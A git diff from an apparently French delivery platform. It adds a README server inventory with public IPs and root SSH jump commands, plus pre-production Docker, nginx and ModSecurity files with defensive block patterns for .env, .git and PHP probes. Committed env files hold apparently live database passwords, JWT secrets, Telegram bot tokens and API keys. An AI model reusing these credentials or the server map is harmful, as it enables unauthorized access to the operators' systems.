diff --git a/.gitignore b/.gitignore index 0cca1328..a56c12bb 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ easpip ansible/ dist/ monitoring +docker-prod/ diff --git a/README.md b/README.md index dc67aedc..200dca63 100644 --- a/README.md +++ b/README.md @@ -1,26 +1,26 @@ # 📚 Documentation API - Plateforme de Gestion de Commandes -**Version:** 5.3.0 -**Date:** 2026-05-15 +**Version:** 5.4.0 +**Date:** 2026-06-11 **Base URL prod:** `https://mln-uber.club` (HTTPS via WAF nginx + ModSecurity) **Base URL dev:** `http://localhost:8080` **Technologies:** Go 1.24, Gin, PostgreSQL 16, Redis 7, React 19 + Vite, Expo 54 (React Native), TomTom API ---- ## 📋 Table des Matières 1. [Vue d'ensemble](#vue-densemble) -2. [Déploiement Production](#-déploiement-production) -3. [Authentication](#authentication) -4. [API Client (v1)](#api-client-v1) -5. [API Admin (v2)](#api-admin-v2) -6. [API Cabine (v1)](#api-cabine-v1) -7. [API Livreur (v1)](#api-livreur-v1) -8. [Notifications Push & Telegram](#-notifications-push--telegram) -9. [Paiements Crypto](#-paiements-crypto) -10. [Systeme GPS Integre](#-systeme-gps-integre) -11. [Codes d'Erreur](#codes-derreur) +2. [Infrastructure Serveurs](#-infrastructure-serveurs) +3. [Déploiement Production](#-déploiement-production) +4. [Authentication](#authentication) +5. [API Client (v1)](#api-client-v1) +6. [API Admin (v2)](#api-admin-v2) +7. [API Cabine (v1)](#api-cabine-v1) +8. [API Livreur (v1)](#api-livreur-v1) +9. [Notifications Push & Telegram](#-notifications-push--telegram) +10. [Paiements Crypto](#-paiements-crypto) +11. [Systeme GPS Integre](#-systeme-gps-integre) +12. [Codes d'Erreur](#codes-derreur) --- @@ -657,6 +657,86 @@ graph LR --- +## 🖥️ Infrastructure Serveurs + +### Réseau VPN (WireGuard) + +Tous les serveurs backend communiquent via un réseau WireGuard privé `10.0.0.0/24`. Le SSH est restreint à l'IP VPN uniquement sur les serveurs sensibles — il faut être connecté au VPN pour s'y connecter. + +| Serveur | IP Publique | IP VPN | Rôle | +|---------|-------------|--------|------| +| **vpn-uber** | `45.150.111.158` | `10.0.0.1` | Serveur WireGuard — point d'entrée VPN et jump host SSH | +| **monitoring-uber** | `185.103.167.138` | `10.0.0.2` | Wazuh · Dozzle · Beszel hub · SSH via VPN uniquement | +| **backup-mln** | `85.121.176.241` | `10.0.0.4` | MinIO S3 · ClamAV · Beszel agent · SSH via VPN uniquement | +| **bdd-redis-prod** | `132.243.162.62` | `10.0.0.5` | PostgreSQL 16 · Redis 7 · Beszel agent · SSH via VPN uniquement | +| **prod-uber** | `185.103.166.119` | `10.0.0.6` | Backend Go + WAF nginx · accessible publiquement sur 80/443 | +| **pre-prod-uber** | `185.103.166.112` | — | Environnement de pré-production | +| **s3-uber** | `80.96.58.164` | — | Stockage S3 externe · Dozzle agent | + +### Architecture DMZ / LAN + +``` +Internet + │ + ▼ +prod-uber (DMZ — 185.103.166.119) + │ 80/443 public + │ ──── VPN (10.0.0.6) ────► bdd-redis-prod (LAN — 10.0.0.5) + │ ├── PostgreSQL :5432 + │ └── Redis :6379 + │ +vpn-uber (10.0.0.1) — jump host SSH pour accès aux autres serveurs +``` + +L'application prod-uber se connecte à PostgreSQL et Redis via les IP VPN : +- `DB_HOST=10.0.0.5` (PostgreSQL sur bdd-redis-prod) +- `REDIS_HOST=10.0.0.5` (Redis sur bdd-redis-prod) + +### Monitoring + +Toutes les ressources monitoring sont accessibles via VPN (`10.0.0.2`) : + +| Outil | URL | Description | +|-------|-----|-------------| +| **Wazuh** | `https://10.0.0.2` | SIEM — alertes sécurité, logs agents | +| **Dozzle** | `https://10.0.0.2:8080` | Logs Docker de tous les serveurs en temps réel | +| **Beszel** | `https://10.0.0.2:8090` | Métriques système (CPU, RAM, disque, réseau) | + +Dozzle agrège les logs de : `pre-prod-uber`, `prod-uber`, `backup-mln (VPN)`, `s3-uber`. +Beszel surveille : `monitoring-uber`, `backup-mln` (agent Docker port 10001), `bdd-redis-prod` (agent binaire systemd port 10001). + +Nettoyage automatique des logs Wazuh : cron tous les dimanches à 3h00 sur monitoring-uber (`/usr/local/bin/clean-wazuh-logs.sh`). + +### Sécurité réseau + +- **UFW** activé sur monitoring-uber et backup-mln : SSH bloqué depuis IP publique, accessible uniquement via VPN +- **UFW** activé sur bdd-redis-prod : SSH, PostgreSQL et Redis accessibles uniquement depuis le réseau VPN (`10.0.0.0/24`) +- Ports Docker liés à l'IP VPN (`10.0.0.4:port:port`) pour ne pas bypasser UFW +- **ClamAV** sur backup-mln : scan antivirus quotidien de `/mnt/data` + +### Accès SSH aux serveurs VPN-only + +```bash +# Via le jump host vpn-uber +ssh -J root@45.150.111.158 root@10.0.0.2 # monitoring-uber +ssh -J root@45.150.111.158 root@10.0.0.4 # backup-mln +ssh -J root@45.150.111.158 root@10.0.0.5 # bdd-redis-prod +``` + +### Sauvegarde S3 (backup-mln) + +MinIO S3 tourne sur backup-mln avec nginx SSL proxy : + +| Endpoint | Adresse | +|----------|---------| +| API S3 | `https://10.0.0.4:9000` (via VPN) | +| Console MinIO | `https://10.0.0.4:9001` (via VPN) | +| Console nginx | `https://10.0.0.4:8080` (via VPN) | + +Les données sont montées sur `/mnt/data`. + +--- + ## 🚀 Déploiement Production ### Prérequis @@ -703,31 +783,44 @@ docker compose -f docker/docker-compose-prod.yml up -d --build docker compose -f docker/docker-compose-prod.yml logs -f waf ``` -### Services Docker +### Services Docker (prod-uber) | Service | Image | Rôle | |---------|-------|------| | `waf` | owasp/modsecurity-crs:nginx-alpine | Point d'entrée HTTPS (ports 80/443) | | `backend` | Go 1.24 alpine | API REST (port 8080 interne) | | `frontend` | nginx:alpine | SPA React (port 80 interne) | -| `postgres` | postgres:16-alpine | Base de données | -| `redis` | redis:7-alpine | Cache + sessions + queues | + +> PostgreSQL et Redis **ne tournent plus sur prod-uber**. Ils sont hébergés sur le serveur dédié `bdd-redis-prod` (`10.0.0.5`) et accessibles via le VPN WireGuard. Voir la section [Infrastructure Serveurs](#-infrastructure-serveurs). ### Variables d'environnement requises ```bash +# Base de données (bdd-redis-prod via VPN) +DB_HOST=10.0.0.5 # IP VPN de bdd-redis-prod +DB_PORT=5432 DB_PASSWORD= # Mot de passe PostgreSQL + +# Redis (bdd-redis-prod via VPN) +REDIS_HOST=10.0.0.5 # IP VPN de bdd-redis-prod +REDIS_PORT=6379 +REDIS_PASSWORD= # Mot de passe Redis + +# JWT USER_JWT_SECRET= # Secret JWT clients (min 32 chars) ADMIN_JWT_SECRET= # Secret JWT admin/livreur/cabine (min 32 chars) -REDIS_PASSWORD= # Mot de passe Redis -TOMTOM_API_KEY= # Clé API TomTom (principale / legacy) -TOMTOM_API_KEY_1= # Clé TomTom #1 (rotation automatique) -TOMTOM_API_KEY_2= # Clé TomTom #2 (rotation automatique) -TOMTOM_API_KEY_3= # Clé TomTom #3 (rotation automatique) -SESSION_SECRET= # Secret sessions -TELEGRAM_WEBHOOK_URL= # URL webhook Telegram -TELEGRAM_WEBHOOK_SECRET= # Secret webhook Telegram -NOWPAYMENTS_IPN_SECRET= # Secret IPN NowPayments + +# TomTom (rotation automatique entre les 3 clés) +TOMTOM_API_KEY= # Clé TomTom principale / legacy +TOMTOM_API_KEY_1= # Clé TomTom #1 +TOMTOM_API_KEY_2= # Clé TomTom #2 +TOMTOM_API_KEY_3= # Clé TomTom #3 + +# Divers +SESSION_SECRET= # Secret sessions +TELEGRAM_WEBHOOK_URL= # URL webhook Telegram +TELEGRAM_WEBHOOK_SECRET= # Secret webhook Telegram +NOWPAYMENTS_IPN_SECRET= # Secret IPN NowPayments ``` --- @@ -3034,8 +3127,9 @@ Le système tente d'abord toutes les clés disponibles en rotation, puis bascule --- -**Documentation mise à jour le :** 2026-05-18 +**Documentation mise à jour le :** 2026-06-11 **Version API :** 5.4.0 **Technologies :** Go 1.24, Gin, PostgreSQL 16, Redis 7, React 19, Expo 54, TomTom API, ModSecurity WAF **Déploiement :** Docker Compose · Nginx + ModSecurity OWASP CRS · TLS 1.2/1.3 -**Base URL prod :** `https://mln-uber.club` +**Base URL prod :** `https://mln-uber.club` +**Infrastructure :** WireGuard VPN · Wazuh SIEM · Dozzle · Beszel · ClamAV · MinIO S3 diff --git a/docker-pre-prod/.env.example b/docker-pre-prod/.env.example new file mode 100644 index 00000000..389dfacb --- /dev/null +++ b/docker-pre-prod/.env.example @@ -0,0 +1,26 @@ +DB_HOST=postgres +DB_PORT=5432 +DB_USER=postgres +DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420 +DB_NAME=gestion_db +DB_SSLMODE=disable +SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK +USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU +ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87 +REDIS_HOST=redis +REDIS_PORT=6379 +REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji +TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB +TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV +TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI +TELEGRAM_BOT_USERNAME=rezsssnfdsjfdsfbot +TELEGRAM_WEBHOOK_SECRET=vGB8n5H2fJTUx6jy6iYgYlqLz1mfSv9htF +TELEGRAM_WEBHOOK_URL=https://uber-demo.club/webhook/telegram +BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ +LBTELEGRAM_URL=http://lbtelegram:8081 +LBTELEGRAM_BOT1_USERNAME=GetRezStealer_bot +LBTELEGRAM_BOT2_USERNAME=rezDJDFJSFUltraFast_bot +BACKEND_LINK_SECRET=change_me_internal_secret +API_PORT=8080 +FRONTEND_PORT=5173 +GIN_MODE=release diff --git a/docker-pre-prod/.env.lbtelegram b/docker-pre-prod/.env.lbtelegram new file mode 100644 index 00000000..c6af6483 --- /dev/null +++ b/docker-pre-prod/.env.lbtelegram @@ -0,0 +1,30 @@ +# Gateway +PORT=8081 +ENV=production +BOT_COUNT=2 + +# Bots Telegram +BOT1_TOKEN=8336841145:AAHPfHdgqLctEC_Zet5mT8D7ZXiwp8BQ1io +BOT1_USERNAME=GetRezStealer_bot +BOT1_WEBHOOK_SECRET=cVxqtea9s078ozDSlX57MWe6bjoLAK3ra7Zq + +BOT2_TOKEN=8325503969:AAGffm9Q-oYr5ySf8cR4Wr-e2CA2p_xOrbg +BOT2_USERNAME=rezDJDFJSFUltraFast_bot +BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi + +# URL publique de la gateway (pour setWebhook Telegram) +GATEWAY_URL=https://demo-uber.club + +# JWT +JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ +JWT_TTL_SECONDS=300 + +# Load balancer: roundrobin | leastconn | failover +LB_STRATEGY=failover + +# Health check interval en secondes +HEALTH_CHECK_INTERVAL=30 + +# URL interne du backend pour valider les tokens de liaison +BACKEND_LINK_URL=http://backend:8080/api/internal/telegram/link +BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ diff --git a/docker-pre-prod/backend/Dockerfile b/docker-pre-prod/backend/Dockerfile new file mode 100644 index 00000000..6464ae4f --- /dev/null +++ b/docker-pre-prod/backend/Dockerfile @@ -0,0 +1,76 @@ +FROM golang:1.24-alpine AS builder +WORKDIR /app + +# Installer les dépendances système +RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev + +# Copier go mod files +COPY backend/gestion/go.mod backend/gestion/go.sum ./ + +# Configurer Go et télécharger les dépendances +ENV GOPROXY=https://proxy.golang.org,direct +ENV GOSUMDB=sum.golang.org +ENV CGO_ENABLED=0 + +# Télécharger les dépendances +RUN go mod download + +# Copier tout le code source +COPY backend/gestion/ . + +# Build le binaire +RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \ + -ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \ + -o /app/server . + +# ========================================================= +# Stage 2: Runtime +# ========================================================= +FROM alpine:latest AS runtime + +# Installer les dépendances runtime +RUN apk --no-cache add ca-certificates tzdata wget + +# Créer l'utilisateur avec UID/GID fixes +RUN addgroup -g 101 app && adduser -u 101 -S app -G app + + +WORKDIR /app + +# Copier le binaire et les fichiers nécessaires +COPY --from=builder /app/server . +COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo + +# Copier l'entrypoint +COPY docker/backend/entrypoint.sh . +RUN chmod +x entrypoint.sh + +RUN mkdir -p /app/uploads/images /app/uploads/videos && \ + chown -R app:app /app + +# Passer à l'utilisateur non-root +USER app + +EXPOSE 8080 + +ENTRYPOINT ["./entrypoint.sh"] + +# ========================================================= +# Stage 3: WAF (Nginx + ModSecurity) +# ========================================================= +FROM owasp/modsecurity-crs:nginx-alpine AS waf + +# Toutes les opérations privilégiées en root +USER root + +RUN mkdir -p /var/log/modsec /etc/nginx/certs && \ + chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html + +COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf +COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf +RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \ + rm -f /etc/nginx/templates/conf.d/default.conf.template || true + +USER nginx +EXPOSE 80 443 +CMD ["nginx", "-g", "daemon off;"] diff --git a/docker-pre-prod/backend/custom-rules.conf b/docker-pre-prod/backend/custom-rules.conf new file mode 100644 index 00000000..c2aaeb37 --- /dev/null +++ b/docker-pre-prod/backend/custom-rules.conf @@ -0,0 +1,77 @@ +# Exclure le corps des requêtes/réponses de l'audit log pour garder les lignes < 6KB (limite Wazuh) +SecAuditLogParts ABIFHZ + +SecRuleRemoveById 932235 +SecRuleRemoveById 911100 + +SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \ + "id:399002,phase:2,nolog,pass,\ + ctl:ruleRemoveById=920120,\ + ctl:ruleRemoveById=920121" + +SecRule REQUEST_URI "@beginsWith /uploads/" \ + "id:1000,\ + phase:1,\ + pass,\ + nolog,\ + ctl:ruleEngine=Off" + +SecRule IP:BANNED "@eq 1" \ + "id:100000,phase:1,deny,status:403,log,\ + msg:'IP is banned'" + +SecRule IP:REPUTATION_SCORE "@ge 100" \ + "id:100099,phase:1,deny,status:403,log,\ + msg:'Critical reputation score',\ + setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'" + +SecRule TX:SQL_INJECTION_SCORE "@ge 5" \ + "id:100001,phase:2,deny,status:403,log,\ + msg:'SQL Injection detected',\ + setvar:'ip.banned=1',expirevar:'ip.banned=172800'" + +SecRule TX:XSS_SCORE "@ge 5" \ + "id:100010,phase:2,deny,status:403,log,\ + msg:'XSS detected',\ + setvar:'ip.banned=1',expirevar:'ip.banned=172800'" + +SecRule TX:RCE_SCORE "@ge 5" \ + "id:100020,phase:2,deny,status:403,log,\ + msg:'RCE detected',\ + setvar:'ip.banned=1',expirevar:'ip.banned=259200'" + +SecRule TX:LFI_SCORE "@ge 5" \ + "id:100030,phase:2,deny,status:403,log,\ + msg:'LFI detected',\ + setvar:'ip.banned=1',expirevar:'ip.banned=172800'" + +SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \ + "id:100060,phase:2,deny,status:403,log,\ + msg:'Critical anomaly score',\ + setvar:'ip.banned=1',expirevar:'ip.banned=172800'" + +SecRule REQUEST_URI "@streq /api/v1/panier/remove" \ + "id:399010,phase:1,nolog,pass,\ + ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350" + +SecRule REQUEST_URI "@streq /api/v1/panier/clear" \ + "id:399011,phase:1,nolog,pass,\ + ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350" + +SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \ + "id:399001,phase:2,nolog,pass,\ + ctl:ruleRemoveById=932235" + +SecAction \ + "id:400161,phase:1,nolog,pass,\ + setvar:'ip.request_window_1sec=+1',\ + expirevar:'ip.request_window_1sec=1'" + +SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \ + "id:400160,phase:1,deny,status:429,log,\ + msg:'Too many requests'" + +SecRule IP:REPUTATION_SCORE "@ge 100" \ + "id:409999,phase:1,deny,status:403,log,\ + msg:'Critical reputation score',\ + setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'" diff --git a/docker-pre-prod/backend/entrypoint.sh b/docker-pre-prod/backend/entrypoint.sh new file mode 100755 index 00000000..4c1b857e --- /dev/null +++ b/docker-pre-prod/backend/entrypoint.sh @@ -0,0 +1,16 @@ +#!/bin/sh +set -e + +# Créer le dossier uploads s'il n'existe pas (le volume le crée en root) +# Puis créer les sous-dossiers +if [ ! -d "/app/uploads" ]; then + mkdir -p /app/uploads +fi + +# Créer les sous-répertoires +mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true + +echo "✅ Répertoires uploads prêts" + +# Lancer l'application +exec ./server diff --git a/docker-pre-prod/backend/nginx.conf b/docker-pre-prod/backend/nginx.conf new file mode 100644 index 00000000..557db88f --- /dev/null +++ b/docker-pre-prod/backend/nginx.conf @@ -0,0 +1,215 @@ +# ========================================================= +# Request ID correlation +# ========================================================= +map $http_x_request_id $req_id { + default $http_x_request_id; + "" $request_id; +} + +# ========================================================= +# HTTP → HTTPS redirect +# ========================================================= +server { + listen 80; + listen [::]:80; + server_name _; + + return 301 https://$host$request_uri; +} + +# ========================================================= +# HTTPS — Hardened +# ========================================================= +server { + listen 443 ssl; + listen [::]:443 ssl; + http2 on; + server_name _; + + server_tokens off; + + # --------------------------------------------------- + # TLS + # --------------------------------------------------- + ssl_certificate /etc/nginx/certs/fullchain.pem; + ssl_certificate_key /etc/nginx/certs/privkey.pem; + + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256; + ssl_prefer_server_ciphers off; + + ssl_session_cache shared:SSL:10m; + ssl_session_timeout 1d; + ssl_session_tickets off; + + ssl_stapling on; + ssl_stapling_verify on; + ssl_trusted_certificate /etc/nginx/certs/fullchain.pem; + resolver 127.0.0.11 valid=10s ipv6=off; + resolver_timeout 5s; + + # --------------------------------------------------- + # En-têtes de sécurité + # --------------------------------------------------- + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-XSS-Protection "0" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; connect-src 'self' https:; frame-ancestors 'self';" always; + + # --------------------------------------------------- + # Limites et timeouts + # --------------------------------------------------- + client_max_body_size 100M; + client_body_buffer_size 128k; + client_header_buffer_size 1k; + large_client_header_buffers 4 8k; + + client_body_timeout 30s; + client_header_timeout 30s; + send_timeout 30s; + keepalive_timeout 65s; + + # --------------------------------------------------- + # Gzip (statique uniquement — évite BREACH sur l'API) + # --------------------------------------------------- + gzip on; + gzip_vary on; + gzip_proxied any; + gzip_comp_level 5; + gzip_min_length 1000; + gzip_types text/plain text/css text/javascript application/javascript application/json image/svg+xml; + + # --------------------------------------------------- + # ModSecurity WAF + # --------------------------------------------------- + modsecurity on; + modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf; + + # --------------------------------------------------- + # API backend Go + # --------------------------------------------------- + location /api/ { + limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; } + + if ($request_method = 'OPTIONS') { + add_header 'Access-Control-Allow-Origin' "$http_origin" always; + add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always; + add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always; + add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Max-Age' 86400 always; + add_header 'Content-Length' 0; + add_header 'Content-Type' 'text/plain charset=UTF-8'; + return 204; + } + + set $upstream_backend http://backend:8080; + proxy_pass $upstream_backend; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Request-ID $req_id; + proxy_hide_header X-Powered-By; + + proxy_connect_timeout 60s; + proxy_send_timeout 300s; + proxy_read_timeout 300s; + + proxy_buffer_size 128k; + proxy_buffers 4 256k; + proxy_busy_buffers_size 256k; + } + + # --------------------------------------------------- + # Webhook Telegram principal → backend Go + # --------------------------------------------------- + location = /webhook/telegram { + limit_except POST { deny all; } + + set $upstream_backend http://backend:8080; + proxy_pass $upstream_backend; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # --------------------------------------------------- + # Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…) + # --------------------------------------------------- + location /webhook/ { + limit_except POST { deny all; } + + set $upstream_lbtelegram http://lbtelegram:8081; + proxy_pass $upstream_lbtelegram; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # --------------------------------------------------- + # Fichiers uploadés (images / vidéos) + # --------------------------------------------------- + location /uploads/ { + alias /usr/share/nginx/html/uploads/; + expires 7d; + add_header Cache-Control "public, no-transform" always; + add_header X-Content-Type-Options "nosniff" always; + + location ~* \.(php|pl|py|cgi|sh|rb|exe)$ { + deny all; + } + } + + # --------------------------------------------------- + # Frontend React SPA + # --------------------------------------------------- + location / { + set $upstream_frontend http://frontend:80; + proxy_pass $upstream_frontend; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # --------------------------------------------------- + # Blocage fichiers sensibles + # --------------------------------------------------- + location ~ /\. { + deny all; + access_log off; + log_not_found off; + } + + location ~* \.(env|git|sql|bak|log|conf|ini|sh)$ { + deny all; + access_log off; + log_not_found off; + } + + location ~* (package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose)$ { + deny all; + access_log off; + log_not_found off; + } + + # Bloquer scans WordPress / PHP courants + location ~* (wp-admin|wp-login|wp-content|xmlrpc|\.php)$ { + deny all; + access_log off; + log_not_found off; + } +} diff --git a/docker-pre-prod/docker-compose-pre-prod.yml b/docker-pre-prod/docker-compose-pre-prod.yml new file mode 100644 index 00000000..0a4c84d8 --- /dev/null +++ b/docker-pre-prod/docker-compose-pre-prod.yml @@ -0,0 +1,212 @@ +services: + # ========================================================= + # Backend Go + # ========================================================= + backend: + image: xor1234/backend-mln:pre-prod + container_name: gestion-backend + restart: unless-stopped + environment: + - DB_HOST=${DB_HOST:-postgres} + - DB_PORT=${DB_PORT:-5432} + - DB_USER=${DB_USER:-postgres} + - DB_PASSWORD=${DB_PASSWORD} + - DB_NAME=${DB_NAME:-gestion_db} + - DB_SSLMODE=${DB_SSLMODE:-disable} + - SESSION_SECRET=${SESSION_SECRET} + - USER_JWT_SECRET=${USER_JWT_SECRET} + - USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD} + - ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET} + - ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD} + - REDIS_HOST=${REDIS_HOST:-redis} + - REDIS_PORT=${REDIS_PORT:-6379} + - REDIS_PASSWORD=${REDIS_PASSWORD} + - TOMTOM_API_KEY=${TOMTOM_API_KEY} + - TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1} + - TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2} + - TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3} + - API_PORT=${API_PORT:-8080} + - NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET} + - TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN} + - TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME} + - TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET} + - TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL} + - LBTELEGRAM_URL=http://lbtelegram:8081 + - LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot} + - LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot} + - BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret} + volumes: + - backend_uploads:/app/uploads + networks: + - gestion-network + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + + # ========================================================= + # Frontend Web (React/Vite — servi en HTTP interne) + # ========================================================= + frontend: + image: xor1234/frontend-mln:pre-prod + container_name: gestion-frontend + restart: unless-stopped + networks: + - gestion-network + depends_on: + - backend + + waf: + image: xor1234/backend-mln:waf-pre-prod + container_name: gestion-waf + restart: unless-stopped + environment: + - DISABLE_MODSEC_ENV_SUBST=true + - PARANOIA=2 + - ANOMALY_INBOUND=5 + - ANOMALY_OUTBOUND=4 + - MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log + ports: + - "80:80" + - "443:443" + volumes: + - backend_uploads:/usr/share/nginx/html/uploads:ro + - ./certs:/etc/nginx/certs:ro + - ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro + - ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro + - /var/log/waf/nginx:/var/log/nginx + - /var/log/waf/modsec:/var/log/modsec + networks: + - gestion-network + depends_on: + - backend + - frontend + + # ========================================================= + # PostgreSQL + # ========================================================= + postgres: + image: postgres:16-alpine + container_name: gestion-postgres + restart: unless-stopped + environment: + - POSTGRES_USER=${DB_USER:-postgres} + - POSTGRES_PASSWORD=${DB_PASSWORD} + - POSTGRES_DB=${DB_NAME:-gestion_db} + - PGDATA=/var/lib/postgresql/data/pgdata + volumes: + - postgres_data:/var/lib/postgresql/data + networks: + - gestion-network + healthcheck: + test: + [ + "CMD-SHELL", + "pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}", + ] + interval: 10s + timeout: 5s + retries: 5 + start_period: 10s + + # ========================================================= + # Redis + # ========================================================= + redis: + image: redis:7-alpine + container_name: gestion-redis + restart: unless-stopped + command: > + redis-server + --requirepass ${REDIS_PASSWORD} + --appendonly yes + --appendfsync everysec + --maxmemory 256mb + --maxmemory-policy allkeys-lru + volumes: + - redis_data:/data + networks: + - gestion-network + healthcheck: + test: + [ + "CMD", + "redis-cli", + "--no-auth-warning", + "-a", + "${REDIS_PASSWORD}", + "ping", + ] + interval: 10s + timeout: 3s + retries: 5 + start_period: 10s + + # ========================================================= + # LBTelegram — Gateway Telegram load balancer + # ========================================================= + lbtelegram: + image: xor1234/load-balancer-tlg:latest + container_name: gestion-lbtelegram + restart: unless-stopped + env_file: ./.env.lbtelegram + environment: + - REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0 + - DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable + networks: + - gestion-network + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + backend: + condition: service_started + + clamav: + deploy: + resources: + limits: + memory: 1g + cpus: 0.5 + image: clamav/clamav:latest + container_name: gestion-clamav + restart: unless-stopped + volumes: + - backend_uploads:/app/uploads:ro + - clamav_data:/var/lib/clamav + networks: + - gestion-network + healthcheck: + test: ["CMD", "clamdcheck.sh"] + interval: 60s + timeout: 10s + retries: 3 + start_period: 120s + + dozzle-agent: + image: amir20/dozzle:latest + command: agent + volumes: + - /var/run/docker.sock:/var/run/docker.sock:ro + ports: + - "7007:7007" + restart: unless-stopped + +networks: + gestion-network: + driver: bridge + internal: false + driver_opts: + com.docker.network.bridge.name: gestion-br0 + +volumes: + postgres_data: + driver: local + redis_data: + driver: local + backend_uploads: + driver: local + clamav_data: + driver: local diff --git a/docker-pre-prod/frontend/Dockerfile b/docker-pre-prod/frontend/Dockerfile new file mode 100644 index 00000000..8594b8ff --- /dev/null +++ b/docker-pre-prod/frontend/Dockerfile @@ -0,0 +1,34 @@ +# ========================================================= +# Stage 1: Build React/Vite +# ========================================================= +FROM node:22-alpine AS builder + +WORKDIR /app + +COPY frontend-prep/package.json frontend-prep/package-lock.json* ./ +RUN npm ci --ignore-scripts + +COPY frontend-prep/ . +RUN npm run build + +# ========================================================= +# Stage 2: Nginx HTTP (TLS terminé par le WAF) +# ========================================================= +FROM nginx:alpine AS runtime + +COPY docker/frontend/nginx.conf 